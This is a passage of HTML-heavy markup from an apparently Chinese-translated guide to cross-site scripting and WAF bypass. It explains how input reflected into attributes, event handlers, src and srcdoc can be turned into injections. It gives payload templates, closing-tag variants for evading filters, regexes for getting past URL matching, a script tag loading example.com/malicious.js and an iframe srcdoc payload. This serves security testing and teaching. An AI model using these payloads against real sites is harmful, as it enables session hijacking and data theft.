6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></tag></code></p></li><li style="margin-top: 0.25em;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></tAg/x></code></p></li><li style="margin-top: 0.25em;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></tag{space}></code></p></li><li style="margin-top: 0.25em;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></tag//></code></p></li><li style="margin-top: 0.25em;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></tag%0a></code></p></li><li style="margin-top: 0.25em;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></tag%0d></code></p></li><li style="margin-top: 0.25em;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></tag%09></code></p></li></ul><p dir="auto" style="margin-bottom: 0em;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">一旦发现有效的结束标签方案,</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">{closing tag}{any payload from executable payload section}</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">就可以用于成功注入。</span></p><p dir="auto" style="margin-bottom: 0em;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br></p><h3 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;font-size: 1.25em;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">内部标签</span></h3><h4 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">在/作为属性值</span></h4><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">        此上下文的主要字符是用于包含属性值的引号。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">例如,如果输入反映为,</span></span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><input value="$input" type="text"></code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">那么主要字符将是</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">"</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">但是,在某些情况下,主要角色不需要脱离上下文。</span></span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><h4 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">在事件处理程序内部</span></h4><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">        如果输入反映在与事件处理程序关联的值中,例如</span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><tag event_handler="function($input)";</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">触发事件处理程序将执行值中存在的 JavaScript。</span></p><h5 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;font-size: 0.875em;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">在'src'属性里面</span></h5><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">如果输入被反映为</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">src</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">脚本或 iframe 标签的属性值,例如</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><script src="$input"></code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">,恶意脚本(在脚本标签的情况下)或网页(在 iframe 标签的情况下)可以直接加载如下 </span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><script src="http://example.com/malicious.js"></code></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: var(--color-fg-muted);font-size: 0.85em;font-weight: 600;box-sizing: border-box !important;overflow-wrap: break-word !important;">绕</span><span style="outline: 0px;max-width: 100%;color: var(--color-fg-muted);font-size: 0.85em;font-weight: 600;box-sizing: border-box !important;overflow-wrap: break-word !important;">过 URL 匹配正则表达式</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">/<span class="code-snippet__regexp" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">/example.com/xss</span>.js绕过http(s)?<span class="code-snippet__regexp" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">/<span class="code-snippet__regexp" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//</span><span class="code-snippet__regexp" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//</span><span class="code-snippet__regexp" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//</span><span class="code-snippet__regexp" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">/example.com/xss</span>.js绕过(http(s)?)?<span class="code-snippet__regexp" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">/\/<span class="code-snippet__regexp" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//</span>\\/example.com/xss.js绕过(http(s)?)?<span class="code-snippet__regexp" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//</span>+</span></code></pre></section><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><h5 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;font-size: 0.875em;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">内部 'srcdoc' 属性</span></h5><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">        如果输入被反映为</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">srcdoc</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">iframe 标记的属性值,例如</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><iframe srcdoc="$input"></code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">,转义的(带有 HTML 实体)HTML 文档可以作为有效负载提供,如下所示</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__tag" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><<span class="code-snippet__name" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">iframe</span> <span class="code-snippet__attr" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">srcdoc</span>=<span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">"<svg/onload=alert()>"</span>></span></span></code></pre></section><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><h5 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;font-size: 0.875em;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">通用属性</span></h5><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">        上述所有情况都不需要任何绕过技术,除了可以使用 HTML 上下文部分中使用的技术绕过的最后一种情况。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">讨论的情况并不常见,最常见的属性上下文反射类型如下:</span></span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><input <span class="code-snippet__built_in" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">type</span>=<span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">"text"</span> value=<span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">"<span class="code-snippet__variable" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">$input</span>"</span>></span></code></pre></section><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">根据相关标签的交互性,它可以进一步分为两类。</span></p><h6 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;font-size: 0.85em;max-width: 100%;color: var(--color-fg-muted);letter-spacing: 0.544px;white-space: normal;line-height: 1.25;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">可交互的</span></h6><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">        当输入反映在可以与例如单击、悬停、聚焦等交互的标签中时,只需要引用即可脱离上下文。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">这种情况下的有效载荷方案是:</span></span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">{quote}{filler}{event_handler}{?filler}={?filler}{javascript}</span></code></pre></section><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">检查报价是否被 WAF 阻止(极不可能)可以通过以下探测来完成:</span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">x"y</code></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">        事件处理程序在这里起着重要的作用,因为它是唯一可以被 WAF 检测到的组件。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">每个标签都支持一些事件处理程序,用户可以自行查找此类情况,但有些事件处理程序可以绑定到下面列出的任何标签:</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre 